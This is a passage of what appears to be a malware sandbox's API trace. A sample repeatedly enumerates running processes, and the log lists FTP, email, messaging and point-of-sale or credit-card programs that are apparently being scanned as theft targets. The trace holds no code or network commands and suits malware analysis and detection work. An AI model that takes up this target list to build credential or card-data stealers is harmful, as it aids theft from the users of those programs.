lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0222.011] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0222.014] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0222.016] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0222.018] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0222.020] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0222.024] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0222.026] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0222.029] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0222.032] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0222.034] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0222.037] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0222.039] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0222.041] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0222.043] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0222.044] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0222.046] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0222.048] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0222.050] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0222.109] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0222.111] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0222.113] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0222.115] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0222.117] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0222.120] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0222.122] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0222.124] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0222.126] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0222.129] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0222.132] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0222.133] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0222.135] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0222.145] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0222.152] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0222.154] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0222.157] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0222.159] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0222.161] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0222.163] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0222.165] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0222.167] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0222.169] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0222.171] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0222.173] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0222.175] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0222.177] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0222.178] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0222.180] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0222.182] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0222.184] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0222.185] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0222.187] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0222.189] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0222.191] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0222.193] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0222.194] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0222.196] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0222.198] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.271] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0222.274] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0222.277] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0222.279] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0222.281] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0222.284] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0222.286] CloseHandle (hObject=0x11c8) returned 1 [0222.287] Sleep (dwMilliseconds=0x64) [0222.288] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0222.340] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0222.343] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0222.345] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0222.348] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.349] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0222.351] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.353] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0222.355] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0222.357] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0222.360] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.362] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.365] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0222.367] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.370] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.372] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.375] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.378] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.381] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.384] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, 